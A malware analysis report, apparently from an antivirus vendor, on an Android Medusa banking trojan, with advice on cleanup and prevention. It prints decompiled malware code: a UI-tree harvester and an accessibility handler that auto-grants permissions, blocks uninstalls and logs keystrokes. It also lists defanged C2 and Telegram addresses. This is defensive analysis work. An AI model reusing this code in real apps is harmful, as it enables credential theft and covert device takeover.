Overview
Type: Trojan
Destruction level: Medium
Prevalence: Medium
Malware Names
- (Padvish) Trojan.Android.Medusa.V3
- (Kaspersky) HEUR:Trojan-Dropper.AndroidOS.Hqwar.hs
- (Avira) ANDROID/Bankbot.FSJP.Gen
- (ESET) A Variant Of Android/TrojanDropper.Agent.MES
What is Trojan?
A Trojan is a type of malware that masquerades as legitimate software, presenting itself as functional and benign. However, once executed, it performs malicious actions that can cause significant damage to the system. Trojans infiltrate systems through various methods, including:
• Downloading software from untrusted sources,
• Embedded malicious code in HTML files,
• Malicious email attachments, and more.
What is the Medusa Malware Family?
The Medusa malware family is a sophisticated Remote Access Trojan (RAT) first identified in 2020. It is equipped with a range of capabilities, including keylogging, screen recording, and the ability to read and write SMS messages. Medusa is also capable of executing fraudulent activities, such as Automated Transfer System (ATS) and Account Takeover (ATO) scenarios. By exploiting Android Accessibility Services, Medusa extends its functionality beyond a typical RAT, enabling continuous keylogging, dynamic overlay attacks, and other malicious actions directly on the victim’s device.
Recent versions of Medusa are more compact and feature enhanced capabilities, making them faster, stealthier, and more potent. The malware is specifically designed to exfiltrate sensitive information, such as banking credentials, credit card details, and other private data, posing a significant threat to user security and privacy.
Technical Review
Indicators of Compromise (IoCs)
- Requests activation of the dangerous Accessibility permission.
- Modifies system settings without user consent.
- Hides the program icon to avoid detection.
- Causes noticeable performance degradation on the device.
Performance Description
To evade detection, the malware avoids placing its primary components in the program’s main DEX (Dalvik Executable) file. Instead, it uses packing techniques, storing its main DEX file in the Assets folder under the name Dajs.json. After installation and execution, the malware decodes this file and invokes it through the com.fluid.actor.Zwheremachine class located in the application’s class structure. This obfuscation technique complicates analysis and helps the malware remain undetected during static and dynamic analysis.
🔸 MainActivity
In the main activity, the malware first checks whether the YouTube app is installed on the user’s device. If present, it launches the app using an intent. A key aspect of this activity is the code line getWindow().setFlags(1024, 1024), which forces the device into full-screen mode.
This full-screen mode serves multiple malicious purposes: it hides the malware’s actions from the user, allows the creation of deceptive interfaces resembling legitimate applications or system dialogs, and makes it more difficult for the user to exit or interact with device controls.
Next, the malware loads a local HTML file named qugivspi.html via a WebView. This file is the first page presented to the user, prompting them to grant the Accessibility permission. Once the user approves the permission, the malware hides its icon from the user’s device, further obfuscating its presence.
🔸 ServiceSupportActivity
In this activity, after performing additional checks, the malware displays a full-screen interface to the user. This activity manages specific malware settings and permissions based on commands received via an intent. The malware retrieves the command string from the intent to determine which action the activity should execute.
If the command is “CMD_DISPLAY_OVER_APPS”, the malware checks whether it has the permission to display its notifications over other apps (canDrawOverlays method). If this permission is not granted, it launches an activity to request it, and then the activity is closed.
If the command is “CMD_IGNORE_BATTERY”, the malware checks whether it is allowed to bypass battery optimization. If this permission is not granted, it prompts the user to grant permission to ignore battery optimization.
If the command is “CMD_ALL_PERMISSION”, the malware verifies whether all necessary permissions have been granted. If any permissions are missing, it uses the requestPermissions method to request them from the user.
“android.permission.READ_PHONE_STATE”
“android.permission.CALL_PHONE”
“android.permission.CAMERA”
“android.permission.RECORD_AUDIO”
🔸VNCActivity
In this activity, the malware captures the user’s screen and streams it in real-time. If the user grants permission to capture the screen, the malware activates a service named DisplayServiceJava, which is responsible for recording or streaming the screen. Several parameters (a, b, c, d, e, f) are passed to the service, which uses these values to configure the recording or streaming session.
The malware also retrieves configuration details from the initiating intent. It requests the necessary permissions to record the screen, and if granted, it triggers the DisplayServiceJava service to start screen recording or streaming, along with all relevant configuration parameters.
🔷 AccessibilityControllerService
This service handles most of the malware’s malicious activities, which are outlined below:
▪️ Method d
The d method is responsible for converting an AccessibilityNodeInfo object into a JSONObject. The AccessibilityNodeInfo class provides detailed information about a view (UI component) in an Android application. This method serializes the properties of the view into JSON format, making it easier to process or transmit the data.
The AccessibilityNodeInfo object contains various properties, such as the view’s bounds, text, descriptions, and child nodes. By capturing this information, the malware can track user interactions with the UI, including button presses, text input, and other user actions. It can also capture sensitive content such as passwords, credit card numbers, or two-factor authentication messages, which may be displayed on the screen.
public static JSONObject d(AccessibilityNodeInfo accessibilityNodeInfo0, int v) {
JSONObject jSONObject0 = new JSONObject();
if(accessibilityNodeInfo0 == null) {
return jSONObject0;
}
try {
Rect rect0 = new Rect();
accessibilityNodeInfo0.getBoundsInScreen(rect0);
JSONObject jSONObject1 = new JSONObject();
jSONObject1.put(“t”, rect0.top);
jSONObject1.put(“l”, rect0.left);
jSONObject1.put(“b”, rect0.bottom);
jSONObject1.put(“r”, rect0.right);
jSONObject0.put(“bs”, jSONObject1);
if(accessibilityNodeInfo0.getText() != null) {
jSONObject0.put(“t”, accessibilityNodeInfo0.getText());
}
if(accessibilityNodeInfo0.getHintText() != null) {
jSONObject0.put(“ht”, accessibilityNodeInfo0.getHintText());
}
if(accessibilityNodeInfo0.getContentDescription() != null) {
jSONObject0.put(“cd”, accessibilityNodeInfo0.getContentDescription());
}
if(accessibilityNodeInfo0.getViewIdResourceName() != null) {
jSONObject0.put(“r”, accessibilityNodeInfo0.getViewIdResourceName());
}
if(accessibilityNodeInfo0.isCheckable()) {
jSONObject0.put(“ch”, true);
}
if(accessibilityNodeInfo0.isChecked()) {
jSONObject0.put(“che”, true);
}
if(accessibilityNodeInfo0.isFocusable()) {
jSONObject0.put(“fc”, true);
}
if(accessibilityNodeInfo0.isFocused()) {
jSONObject0.put(“fcd”, true);
}
if(accessibilityNodeInfo0.isSelected()) {
jSONObject0.put(“sel”, true);
}
if(accessibilityNodeInfo0.isClickable()) {
jSONObject0.put(“cli”, true);
}
if(accessibilityNodeInfo0.isLongClickable()) {
jSONObject0.put(“lc”, true);
}
if(accessibilityNodeInfo0.isContextClickable()) {
jSONObject0.put(“cc”, true);
}
if(accessibilityNodeInfo0.isEnabled()) {
jSONObject0.put(“en”, true);
}
if(accessibilityNodeInfo0.isPassword()) {
jSONObject0.put(“pass”, true);
}
if(accessibilityNodeInfo0.isScrollable()) {
jSONObject0.put(“scr”, true);
}
if(accessibilityNodeInfo0.isImportantForAccessibility()) {
jSONObject0.put(“ifa”, true);
}
if(accessibilityNodeInfo0.isVisibleToUser()) {
jSONObject0.put(“vis”, true);
}
if(accessibilityNodeInfo0.getChildCount() > 0) {
JSONArray jSONArray0 = new JSONArray();
for(int v1 = 0; v1 < accessibilityNodeInfo0.getChildCount(); ++v1) {
jSONArray0.put(AccessibilityControllerService.d(accessibilityNodeInfo0.getChild(v1), v + 1));
}
jSONObject0.put(“chi”, jSONArray0);
}
}
catch(Exception unused_ex) {
}
return jSONObject0;
}
▪️Method f
The f method is designed to recursively search through the UI elements on an Android device using the AccessibilityService feature, specifically to locate a specific text string. It retrieves the text associated with the current AccessibilityNodeInfo object.
If the text is not empty, the method compares it to the target string, disregarding case differences (equalsIgnoreCase). This method can be used to identify particular UI elements based on their textual content and is capable of locating sensitive items, such as password input fields, messages, user account details, or bank card numbers.
▪️ Method e
In this method, the malware creates a WebView within a FrameLayout and places it on the screen using WindowManager.LayoutParams. A value of 2032 for WindowManager.LayoutParams (with window type TYPE_SYSTEM_OVERLAY or TYPE_APPLICATION_OVERLAY) ensures that the WebView is rendered on top of other applications.
Overlay windows are commonly used in malware to deceive users into entering sensitive information by mimicking legitimate application screens. The WebView loads a URL determined by the value of f2895f and the str parameter. If f2895f points to a remote server, the malware can load a malicious web page.
This method allows the malware to simulate any webpage by creating a full-screen overlay via WebView, enabling JavaScript, and allowing file access. Dynamically loading a URL with a JavaScript interface enables the execution of scripts for phishing attacks or data collection, further compromising the user’s security.
▪️Method c
In this method, the malware gathers information about UI elements, particularly those related to the lock screen pattern, using the Android accessibility service. The malware checks whether the AccessibilityNodeInfo object (accessibilityNodeInfo0) belongs to the com.android.systemui package, which typically handles elements like the lock screen, notifications, and other parts of the Android UI.
The malware uses findAccessibilityNodeInfosByViewId(“com.android.systemui:id/lockPatternView”) to locate elements associated with the lock pattern view, which is used to unlock the device. By accessing this view, the malware attempts to retrieve the user’s lock screen pattern information.
To extract the lock screen details, the malware checks whether each child element within the lockPatternView is clickable. It then stores the position (top, left, bottom, right) of each element in a JSONObject. The malware also attempts to capture the text associated with each element and stores it in a variable (str), which could reveal parts of the lock pattern.
Finally, the collected data is stored in a JSON array and transmitted to the malware’s command-and-control (C2) server. In summary, Method c is used to capture and exfiltrate lock screen pattern data by leveraging Android’s accessibility services.
▪️ onAccessibilityEvent Method
In this method, the malware first checks if it has the “draw over other apps” permission (Settings.canDrawOverlays). If the permission is not granted, the malware attempts to navigate the device’s settings and simulate user interaction to request this permission. Manipulating overlay settings enables the malware to display content on top of other apps, which can facilitate phishing attacks by showing fake dialogs or buttons.
The malware simulates clicks on UI elements by performing actions on AccessibilityNodeInfo objects. It searches for specific UI elements using their ID and text. Once the overlay permission is obtained, the malware calls methods a and b, which hide the app’s activity by redirecting the user to the home screen. This action helps prevent detection of suspicious behavior or changes to settings.
Next, the malware checks whether the flag IGNORE_BATTERY_INSTALL_REQUIRED is set in the SharedPrefManager. This flag indicates whether the malware should disable battery optimization to ensure the malware service is not killed while running in the background. If the flag is true, the malware disables battery optimization settings for itself.
In this method, the malware checks the status of various permission requests and installations using flags such as VNC_INSTALL_REQUIRED, ACCEPT_UNINSTALL, PERMISSION_INSTALL_REQUIRED, and others. Based on the received events and the values of these flags, the method automatically responds to permission requests or installation prompts by simulating clicks on the “Allow” or “Install” buttons.
If the malware encounters the SYSTEM_WRITE_REQUIRED flag, this method automatically navigates to the settings page and makes specific changes, such as enabling or disabling system write permissions. To do this, the method first verifies that the settings page is open, then locates the corresponding button, and activates or deactivates it as needed.
If the KEYLOG flag is enabled, the method logs and stores specific user interactions, such as clicks, focus changes, and selections, implementing keylogging functionality. These actions may include capturing timestamps and visible text content, which are then stored in a variable for later use.
If the LOCK_SCREEN flag is enabled, the method automatically triggers the device’s screen lock. The BLOCK_APP flag allows the malware to block or close certain applications automatically if they are detected to be open. When a blocked application is launched, the method either closes the app or activates the lock screen to prevent the user from accessing it.
The REMOVAL_BLOCK flag prevents applications from being uninstalled when the user navigates to the uninstall or settings page. The malware achieves this by identifying relevant UI elements on the settings page and simulating clicks on the cancel buttons to block removal attempts.
In this method, findAccessibilityNodeInfosByViewId and findAccessibilityNodeInfosByText are used to locate and interact with specific UI elements. Based on the configured events and flags, the malware performs necessary actions, such as simulating clicks on these elements.
Overall, this method enables automatic control over the device, allowing the malware to manage applications and system settings without user intervention. It can interact with dialogs, adjust settings, and control app behavior autonomously.
public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent0) {
String s6;
a a0;
String s3;
String s2;
String s1;
String s;
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“57fvxkkp9fh2vbbbbngmol52”, false)) {
try {
if((accessibilityEvent0.getPackageName().toString().contains(“com.android.settings”)) && accessibilityEvent0.getEventType() == 0x800) {
if(((int)SharedPrefManager.getInstance(this.getApplicationContext()).read(“vasdx3423452”, 0)) == 0) {
List list0 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/list”);
if(list0 == null || list0.size() == 0) {
list0 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/apps_list”);
}
Iterator iterator0 = list0.iterator();
while(true) {
label_7:
if(!iterator0.hasNext()) {
break;
}
Object object0 = iterator0.next();
AccessibilityNodeInfo accessibilityNodeInfo0 = (AccessibilityNodeInfo)object0;
alab1:
do {
while(true) {
List list1 = this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001E));
if(list1 == null || list1.size() <= 0) {
accessibilityNodeInfo0.performAction(0x1000);
break;
}
AccessibilityNodeInfo accessibilityNodeInfo1;
for(accessibilityNodeInfo1 = (AccessibilityNodeInfo)list1.get(0); !accessibilityNodeInfo1.isClickable(); accessibilityNodeInfo1 = accessibilityNodeInfo1.getParent()) {
}
if(!accessibilityNodeInfo1.performAction(16)) {
break;
}
break alab1;
}
}
while(true);
if(!Settings.canDrawOverlays(this.getApplicationContext())) {
SharedPrefManager.getInstance(this.getApplicationContext()).write(“vasdx3423452”, Integer.valueOf(1));
goto label_7;
}
SharedPrefManager.getInstance(this.getApplicationContext()).write(“57fvxkkp9fh2vbbbbngmol52”, false);
this.b();
this.a();
}
}
else if(Settings.canDrawOverlays(this.getApplicationContext())) {
SharedPrefManager.getInstance(this.getApplicationContext()).write(“57fvxkkp9fh2vbbbbngmol52”, false);
this.b();
this.a();
}
else {
Iterator iterator1 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/switch_widget”).iterator();
while(true) {
label_32:
if(!iterator1.hasNext()) {
break;
}
Object object1 = iterator1.next();
AccessibilityNodeInfo accessibilityNodeInfo2 = (AccessibilityNodeInfo)object1;
if(accessibilityNodeInfo2.isChecked()) {
break;
}
if(!accessibilityNodeInfo2.isClickable()) {
while(!accessibilityNodeInfo2.isClickable()) {
accessibilityNodeInfo2 = accessibilityNodeInfo2.getParent();
}
}
if(!accessibilityNodeInfo2.isClickable()) {
goto label_32;
}
accessibilityNodeInfo2.performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“57fvxkkp9fh2vbbbbngmol52”, false);
this.performGlobalAction(2);
}
}
}
}
catch(Exception unused_ex) {
label_45:
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“57fvxkkp9fh22l8bggwngmol52”, false)) {
try {
if(accessibilityEvent0.getPackageName().toString().contains(“com.android.settings”)) {
List list2 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/button1”);
if(list2 != null && list2.size() > 0) {
AccessibilityNodeInfo accessibilityNodeInfo3 = (AccessibilityNodeInfo)list2.get(0);
if((accessibilityNodeInfo3.isClickable()) && (accessibilityNodeInfo3.performAction(16))) {
SharedPrefManager.getInstance(this.getApplicationContext()).write(“57fvxkkp9fh22l8bggwngmol52”, false);
}
}
}
}
catch(Exception unused_ex) {
}
}
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“1lf7as4w8hd5zaks0mpc”, false)) {
try {
if(accessibilityEvent0.getPackageName() != null) {
if(accessibilityEvent0.getPackageName().toString().equals(“com.google.android.packageinstaller”)) {
List list3 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.packageinstaller:id/permission_allow_button”);
if(list3 != null && list3.size() > 0) {
AccessibilityNodeInfo accessibilityNodeInfo4 = (AccessibilityNodeInfo)list3.get(0);
if(accessibilityNodeInfo4.isClickable()) {
accessibilityNodeInfo4.performAction(16);
}
}
}
boolean z = accessibilityEvent0.getPackageName().toString().equals(“com.google.android.permissioncontroller”);
if(z) {
for(Object object2: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.permissioncontroller:id/permission_allow_button”)) {
((AccessibilityNodeInfo)object2).performAction(16);
}
for(Object object3: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.permissioncontroller:id/permission_allow_foreground_only_button”)) {
((AccessibilityNodeInfo)object3).performAction(16);
}
}
if(accessibilityEvent0.getPackageName().toString().equals(“com.android.permissioncontroller”)) {
for(Object object4: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.permissioncontroller:id/permission_allow_button”)) {
((AccessibilityNodeInfo)object4).performAction(16);
}
for(Object object5: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.permissioncontroller:id/permission_allow_foreground_only_button”)) {
((AccessibilityNodeInfo)object5).performAction(16);
}
}
c.b(this.getApplicationContext());
}
}
catch(Exception unused_ex) {
}
}
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“8y2bj5kjidcmw6t9j09hha0”, false)) {
try {
if(accessibilityEvent0.getPackageName() != null && (accessibilityEvent0.getPackageName().toString().contains(“com.android.settings”))) {
List list4 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/switch_widget”);
int v = 0;
for(Object object6: list4) {
if(((AccessibilityNodeInfo)object6).isChecked()) {
goto label_116;
}
if(!((AccessibilityNodeInfo)object6).isClickable()) {
continue;
}
v = 1;
}
List list5 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/title”);
int v1 = 0;
for(Object object7: list5) {
AccessibilityNodeInfo accessibilityNodeInfo5 = (AccessibilityNodeInfo)object7;
if(v == 0) {
for(int v2 = 0; !accessibilityNodeInfo5.isClickable() && v2 < 3; ++v2) {
accessibilityNodeInfo5 = accessibilityNodeInfo5.getParent();
}
if(!accessibilityNodeInfo5.isClickable()) {
continue;
}
accessibilityNodeInfo5.performAction(16);
}
else {
((AccessibilityNodeInfo)list4.get(list5.indexOf(accessibilityNodeInfo5))).performAction(16);
}
v1 = 1;
}
if(v1 != 0) {
SharedPrefManager.getInstance(this.getApplicationContext()).write(“8y2bj5kjidcmw6t9j09hha0”, false);
this.performGlobalAction(2);
}
}
}
catch(Exception unused_ex) {
}
}
label_116:
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“ayxrd2v2qhxjanriycbd1”, false)) {
try {
if(accessibilityEvent0.getPackageName() != null && (accessibilityEvent0.getPackageName().toString().contains(“com.android.systemui”))) {
for(Object object8: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/button1”)) {
((AccessibilityNodeInfo)object8).performAction(16);
}
}
}
catch(Exception unused_ex) {
}
}
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“bsabdbABSyvfv366262”, false)) {
try {
if(accessibilityEvent0.getPackageName() != null) {
boolean z1 = accessibilityEvent0.getPackageName().toString().contains(“com.google.android.packageinstaller”);
if(z1) {
for(Object object9: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/left_button”)) {
((AccessibilityNodeInfo)object9).performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“bsabdbABSyvfv366262”, false);
}
for(Object object10: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/button1”)) {
((AccessibilityNodeInfo)object10).performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“bsabdbABSyvfv366262”, false);
}
}
if(accessibilityEvent0.getPackageName().toString().contains(“com.android.packageinstaller”)) {
for(Object object11: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/left_button”)) {
((AccessibilityNodeInfo)object11).performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“bsabdbABSyvfv366262”, false);
}
for(Object object12: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/button1”)) {
((AccessibilityNodeInfo)object12).performAction(16);
SharedPrefManager.getInstance(this.getApplicationContext()).write(“bsabdbABSyvfv366262”, false);
}
}
}
}
catch(Exception unused_ex) {
}
}
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“b24z1bcurlu5aq9b6o910g4kv5jvz5srp”, false)) {
try {
CharSequence charSequence0 = accessibilityEvent0.getPackageName();
s = “”;
s1 = charSequence0 == null ? “” : accessibilityEvent0.getPackageName().toString();
s2 = new SimpleDateFormat(“MM/dd/yyyy, HH:mm:ss z”, Locale.US).format(Calendar.getInstance().getTime());
this.c(this.getRootInActiveWindow());
switch(accessibilityEvent0.getEventType()) {
case 1:
case 8:
case 16: {
s3 = accessibilityEvent0.getText().toString();
goto label_169;
}
}
int v3 = accessibilityEvent0.getEventType();
}
catch(Exception unused_ex) {
goto label_188;
}
if(v3 != 0x2000) {
goto label_188;
}
try {
s3 = accessibilityEvent0.getText().toString();
goto label_169;
}
catch(Exception unused_ex) {
}
String s4 = “”;
String s5 = “”;
goto label_173;
try {
label_169:
s = accessibilityEvent0.getSource().getViewIdResourceName();
}
catch(Exception unused_ex) {
}
s4 = s3;
s5 = s;
try {
label_173:
switch(accessibilityEvent0.getEventType()) {
case 1: {
a0 = this.b;
s6 = “click”;
goto label_187;
}
case 8: {
a0 = this.b;
s6 = “focus”;
goto label_187;
}
case 16: {
a0 = this.b;
s6 = “text”;
goto label_187;
}
case 0x2000: {
goto label_184;
}
}
goto label_188;
label_184:
a0 = this.b;
s6 = “selchange”;
label_187:
a0.L(s1, s2, s6, s4, s5);
}
catch(Exception unused_ex) {
}
}
label_188:
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“lru0i1qkn5kdhxhsh9jayki7cddac”, false)) {
this.performGlobalAction(8);
}
if(0x20 == accessibilityEvent0.getEventType()) {
try {
if(accessibilityEvent0.getPackageName() != null) {
Set set0 = SharedPrefManager.getInstance(this.getApplicationContext()).readSet(“z8o563an47kaoxh8wpba”, null);
if(set0 != null && set0.size() != 0) {
for(Object object13: set0) {
if(!((String)object13).equals(accessibilityEvent0.getPackageName().toString() + “|”)) {
continue;
}
this.performGlobalAction(2);
}
}
}
}
catch(Exception unused_ex) {
}
try {
Set set1 = SharedPrefManager.getInstance(this.getApplicationContext()).readSet(“azaasd5xxvn2ex9z”, null);
if(set1 != null && (set1.size() != 0 && accessibilityEvent0.getPackageName() != null)) {
Iterator iterator14 = set1.iterator();
while(true) {
label_204:
if(!iterator14.hasNext()) {
break;
}
Object object14 = iterator14.next();
String s7 = (String)object14;
if(!s7.contains(accessibilityEvent0.getPackageName().toString() + “|”)) {
goto label_204;
}
this.e(s7.split(“\\|”)[1]);
}
}
}
catch(Exception unused_ex) {
label_210:
if(SharedPrefManager.getInstance(this.getApplicationContext()).read(“igi67lmk08olwncd”, false)) {
try {
String s8 = accessibilityEvent0.getPackageName().toString().toLowerCase();
String s9 = accessibilityEvent0.getClassName().toString().toLowerCase();
if((!s8.contains(“com.android.settings”) || accessibilityEvent0.getEventType() != 1 || !accessibilityEvent0.getText().toString().contains(this.getString(0x7F0F001E))) && (!s8.contains(“com.android.packageinstaller”) && !s8.contains(“com.google.android.packageinstaller”) || !AccessibilityControllerService.f(accessibilityEvent0.getSource(), 0, this.getString(0x7F0F001E)))) {
if(s8.contains(“com.samsung.accessibility”)) {
this.a();
return;
}
if((s8.contains(“com.android.settings”)) && (s9.contains(“android.app.alertdialog”)) && (accessibilityEvent0.getText().toString().contains(this.getString(0x7F0F001E)))) {
this.b();
this.performGlobalAction(2);
return;
}
if((s8.contains(“com.android.settings”)) || (s8.contains(“com.google.android.packageinstaller”))) {
for(Object object15: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/entity_header_title”)) {
if(!((AccessibilityNodeInfo)object15).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.performGlobalAction(1);
return;
}
for(Object object16: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.packageinstaller:id/name”)) {
if(!((AccessibilityNodeInfo)object16).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.b();
this.a();
return;
}
for(Object object17: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“android:id/alertTitle”)) {
if(!((AccessibilityNodeInfo)object17).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.b();
this.a();
return;
}
for(Object object18: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(“com.android.settings:id/app_name”)) {
if(!((AccessibilityNodeInfo)object18).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.b();
this.a();
return;
}
Iterator iterator19 = this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001B)).iterator();
if(!iterator19.hasNext()) {
goto label_246;
}
Object object19 = iterator19.next();
AccessibilityNodeInfo accessibilityNodeInfo6 = (AccessibilityNodeInfo)object19;
this.b();
this.a();
return;
}
label_246:
if(!s8.equals(“com.google.android.packageinstaller”) || !s9.equals(“com.android.packageinstaller.permission.ui.managepermissionsactivity”)) {
return;
}
for(Object object20: this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001E))) {
if(!((AccessibilityNodeInfo)object20).getText().toString().contains(this.getString(0x7F0F001E))) {
continue;
}
this.b();
this.a();
return;
}
}
else {
this.b();
this.a();
}
}
catch(Exception unused_ex) {
}
}
return;
}
}
goto label_210;
}
}
goto label_45;
}
The addresses of the support channels on Telegram and ICQ Messenger, which are used to receive the Command and Control (C2) server of the malware (cincincintopcin[.]info), are stored in the following variable, called within the service:
SCAN_URL_LIST (“https[:]//t.me/unkppapeppappe“, “https[:]//icq.im/AoLH58xYS0_leBOpXFI”, “https[:]//t.me/unk22k2k2k2“)
▪️t method
In this method, the malware executes a series of commands to compromise the victim’s device. These commands include actions such as:
• Capturing screenshots
• Activating the keylogger
• Enabling or disabling the screen lock
• Installing or uninstalling specific applications
• Sending SMS messages
• Copying or modifying clipboard contents
• Accessing user contacts
• Initiating calls to specific numbers
• Modifying the device’s security settings
The malware’s target is to manipulate the security configuration and settings of the victim’s mobile device upon receiving the corresponding C2 command.
For instance, if the C2 command is “fillfocus,” the malware performs the following actions:
The malware can inject text into the currently focused input field in the user interface. This targeted field is where the user is actively entering data. By abusing the AccessibilityService, the malware replaces the active input field with text provided by the attacker. The value 2097152 (or 0x200000) corresponds to the ACTION_ARGUMENT_SET_TEXT operation, which facilitates the injection of the attacker’s text into the focused input field.
This capability is commonly used in Automated Transaction System (ATS) attacks, where the malware simulates user interactions to perform unauthorized actions, such as filling out forms or sending financial transactions. For example, during a bank transfer, the malware could replace the intended recipient’s bank account number with one controlled by the attacker.
🔷 DisplayServiceJava Service
The DisplayServiceJava service is related to screen sharing or live streaming. This functionality enables the malware to broadcast multimedia content or monitor the device’s display in real-time. It encompasses various components that deal with media playback, audio recording, and network streaming. This service is a part of the malware’s broader unauthorized surveillance and remote control toolkit.
▪️onStartCommand Method
In this method, the malware initiates screen recording or streaming, with potential audio recording capabilities. It retrieves configuration parameters from the intent0 object, including the endpoint, screen resolution (height), frames per second (FPS), bitrate, DPI, and audio settings. These parameters govern both video and audio quality, as well as the display characteristics during screen recording. The malware then configures the necessary display and audio settings required for recording or playback.
Next, the malware verifies if the conditions are suitable to commence recording. It initializes Android system components, such as MediaProjection (an API used for screen capture), and sets up a virtual display. Additionally, it instantiates a supplementary class (x2.a) to facilitate screen capture. If audio recording is enabled, the malware synchronizes audio recording with screen capture.
Finally, the malware checks if the streaming endpoint (represented by displayServiceJava0.a) is a valid URL. If valid, it parses and validates key components of the URL, such as the protocol, host, and port, against predefined values. Once all configurations are validated, it triggers a background service to handle the recording or playback process.
▪️ PhoneStateReceiver
Within the onReceive method, the malware listens for incoming SMS messages. It first verifies that the action intent corresponds to the receipt of an SMS message and that SMS tracking is enabled within the device’s settings. Upon confirmation, the malware retrieves message details, including the sender’s phone number and the full message content. It then invokes a method (referred to as the N method) to record or process the SMS data (including sender, content, and timestamp). This receiver is designed to track, log, and store SMS messages once the device enters an active state.
Malware Techniques
Upon execution, the malware hides its icon from the user interface. Additionally, in method a, as illustrated in the image below, the malware acts as a shortcut to return the user to the home screen. This functionality can be exploited to exit an application or user interface (UI) and redirect the user to the device’s default home screen.
The flag 268435456 corresponds to Intent.FLAG_ACTIVITY_NEW_TASK, which is a necessary flag for launching a new activity outside the current task stack. This flag ensures that the destination activity (in this case, the main screen or home page) is initiated properly. The malware utilizes FLAG_ACTIVITY_NEW_TASK to facilitate the redirection to the home screen, ensuring that the change occurs even if the request originates from a service or component external to the activity context.
In method b, the malware invokes the performGlobalAction(1) method four times in a loop, simulating the “back” button action on the device. By emulating the back button, the malware can forcefully exit an application or navigate away from sensitive screens, such as the phone’s settings, where the user might otherwise be unable to remove the malware from the device.
How to deal with and clean the system
To ensure that the device is not infected, it is recommended to install Padvish Antivirus, keep its virus definition database up-to-date, and run a full system scan.
Methods to Prevent Mobile Device Compromise:
- When installing apps, scrutinize the permissions they request. Be cautious if an app requests permissions unrelated to its functionality, particularly accessibility service permissions.
- Ensure your mobile device’s operating system and apps are regularly updated, preferably with automatic updates enabled.
- Do not download or install apps from unverified or unofficial sources.
- Continuously back up critical data to secure locations.
- Only install official, unmodified app versions to minimize exposure to malware.